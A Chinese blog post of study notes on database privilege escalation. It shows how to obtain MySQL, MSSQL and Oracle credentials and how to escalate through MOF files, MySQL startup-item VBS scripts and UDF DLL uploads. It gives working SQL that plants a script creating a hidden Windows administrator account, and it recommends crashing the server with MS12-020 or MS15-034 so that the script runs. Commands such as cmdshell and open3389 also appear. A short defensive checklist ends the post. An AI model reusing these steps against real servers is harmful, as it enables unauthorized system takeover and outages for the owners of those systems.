權限提升之——數據庫提權

數據庫權限提升

這是這兩天學習的哈,一篇篇發太麻煩了,就整理在一篇文章裏了,整體感覺基本都是靠工具,不靠工具的還是都比較有難度的,五一假期過去了也該繼續回到緊張的學習中了,衝鴨!
在家沒衣服穿太可憐了,想回學校取衣服T_T
在這裏插入圖片描述

如何獲取mysql賬號密碼

1.查看網站配置文件。

如:conn、config、data、sql、common 、inc等。

2.查看數據庫安裝路徑下的mysql文件

安裝目錄爲/data/mysql/user.myd和user.myi

3.通過暴力破解得到(hscan、Bruter、hydra、腳本木馬)

對外開放3306,允許遠程連接
不允許遠程連接需要開啓
暴力破解有時候需要遠程訪問,那麼如何打開root的遠程訪問權限呢?
一、基於安全考慮root賬戶一般只能本地訪問,但是在開發過程中可能需要打開root的遠程訪問權限。
下面是基本的步驟:
1、登錄到mysql中,爲root進行遠程訪問的授權,執行下面的命令:

mysql> GRANT ALL PRIVILEGES ON *.* TO root@"%" IDENTIFIED BY "root";mysql> flush privileges;

第一句中"%"表示任何主機都可以遠程登錄到該服務器上訪問。如果要限制只有某臺機器可以訪問,將其換成相應的IP即可,如:GRANT ALL PRIVILEGES ON *.* TO root@“%" IDENTIFIED BY "root";

第二句表示從mysql數據庫的grant表中重新加載權限數據。因爲MySQL把權限都放在了cache中,所以在做完更改後需要重新加載。

二、mysql數據庫密碼保存文件
參考:http://blog.sina.com.cn/s/blog_8028ba2f0100rzpt.html

三、菜刀數據庫連接、大馬777.php、其它工具爆破
mssql,orcal,access提權及安全防範

Mssql提權

mssql提權主要分爲弱口令溢出兩類提權。目前主要通過弱口令連接直接提權,溢出類Mssql數據庫幾乎很少見(sqlserver2000之後就幾乎沒有了)。
通過漏洞拉到webshell之後,找到網站配置文件,裏面有sa權限的賬號密碼,配置文件爲asp或者aspx網站一般使用微軟自帶數據庫,這個提權沒有sa權限是不能做的
mssql一般是允許遠程連接的
系統庫是master

其實一個正常的數據庫,跟webshell沒有太多區別,例如上傳,執行,都是可以的

有了密碼直接利用sqltools工具就可以了
使用時要恢復三個dll路徑(需要sa權限)

Oracle提權

Oracle數據庫一般與jsp、aspx網站搭配,如果是jsp網站,默認是系統權限,apsx網站默認需要提權。提權方法參考如下地址:
http://blog.csdn.net/sezvboyrul/article/details/2855401
http://wenku.baidu.com/link?url=DAU-gUL4EpfniDqH3TV4lvQ4W9HRRm-sWCzFqVNJWSnBgfCfm0iu-6DunEAcFgI0STlvJCgNgbq2BwPalWIcaptP72SDTcq77BtpRRvPSGG
或者直接使用oracleshell

access提權

!!!危險性比較大!!!
只要成功,對方網站數據庫一定崩潰,只有一次機會,這裏就不說了哈,沒什麼實際用處,畢竟我是溫柔小薛

MOF漏洞提權

1、mysql mof漏洞介紹:
http://www.exploit-db.com/exploits/23083/
2、MOF漏洞工具與腳本實戰:
http://www.myhack58.com/Article/html/3/8/2013/38264.htm

操作方法
一、通過工具提權(有root權限下)
Mysql綜合利用工具
二、手工通過webshell 數據庫語句建帳號
1.找個可寫目錄(屬性0777),上傳mof文件
2.執行sql

select load_file('C:\\wmpub\\moon.mof') into dumpfile 'c:/windows/system32/wbem/mof/moon.mof';
			注意新建的帳號每隔5分鐘就會新建帳號,刪除帳號的辦法參考第二個連接地址。
				代碼裏可以修改這個間隔時間

Mysql啓動項提權

思路

			1、通過mysql數據庫命令寫入VBS腳本;
			2、直接通過Webshell的Mysql寫入啓動項;
			3、通過MS12-020、MS15-034重啓服務器。

實際操作

C:\php\MySQL-5.1.50\bin>mysql -uroot -proot -h192.168.1.109
			mysql>drop database test1;
			mysql> create database test1;
			首先創建一個數據庫test1
mysql> use test1;
			進入到test1
mysql> create table a (cmd text);

創建一個表a(表裏有一個cmd字段 文本類型)

mysql>insert into a values ("set wshshell=createobject (""wscript.shell"")");

給表a設置一個xshshell變量,變量的值是creatboject這個對象,這個對象是一個調用wscript.shell的對象

mysql>insert into a values (“a=wshshell.run (”“cmd.exe /c net user best best /add”",0)");
在這個表裏插入一個cmd.exe,建一個best賬號,注意cmd.exe/c是無回顯的

mysql>insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup Administrators best /add"",0)");

注意雙引號和括號以及後面的“0”一定要輸入,我們將用這三條命令來建立一個VBS的腳本程序

mysql>select * from a;
			mysql>select * from a into outfile "c://docume~1//administrator//「開始」菜單//程序//啓動//best.vbs";

把a表裏的信息導出到啓動項裏面,啓動項名稱叫best.vbs

最後通過溢出漏洞讓服務器重啓,如:MS12-020、MS15-034(靶機直接藍屏挺有意思哈)
重啓之後就會啓動執行腳本
補充
其實在一般滲透測試過程中,提權需要對方允許纔可以進行,比在前端找漏洞更有難度

UDP提權(MYSQL自身功能提權)

1、工具UDF提權方法

一、上傳udf.dll
上傳路徑

小於mysql5.1版本
C:\WINDOWS\udf.dll 或 C:\WINDOWS\system32\udf.dll

等於mysql5.1版本
%mysql%\plugin\udf.dll (也就是在安裝路徑下) 用 select @@plugin_dir 查詢plugin路徑

默認 C:\Program Files\MySQL\MySQL Server 5.1\lib\plugin\udf.dll

注意!有的DBA可能會爲了安全刪除這個文件,如果沒有我們可以創建一個

上傳方法
允許遠程連接情況下(root權限下提權)
1、UDF提權專用webshell工具(mysql綜合利用工具),導入dll、再執行命令。
導入目錄要注意/,之後執行
2、Mysql允許外連的情況下也可以使用Hack MySQL上傳,再通過命令行登陸執行命令。

二、執行SQL

select cmdshell('net user');
		select open3389();

三、低權限獲取root密碼

2、UDF腳本提權方法

主要解決mysql不能遠程連接問題。
不允許遠程連接的情況下(普通用戶下提權)

安全防禦

1、限止數據庫遠程連接,給數據庫帳戶設置密碼必須>8位以上並數字+字母+特殊符號等。
2、不要給網站配置root或SA這種可以擴展存取的權限。必須給每個網站獨立分配數據庫帳戶並限格控制好權限。
3、及時掃描並升級數據庫補丁。
4、安裝Waf進行防禦。
5、購買數據庫審計設備

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章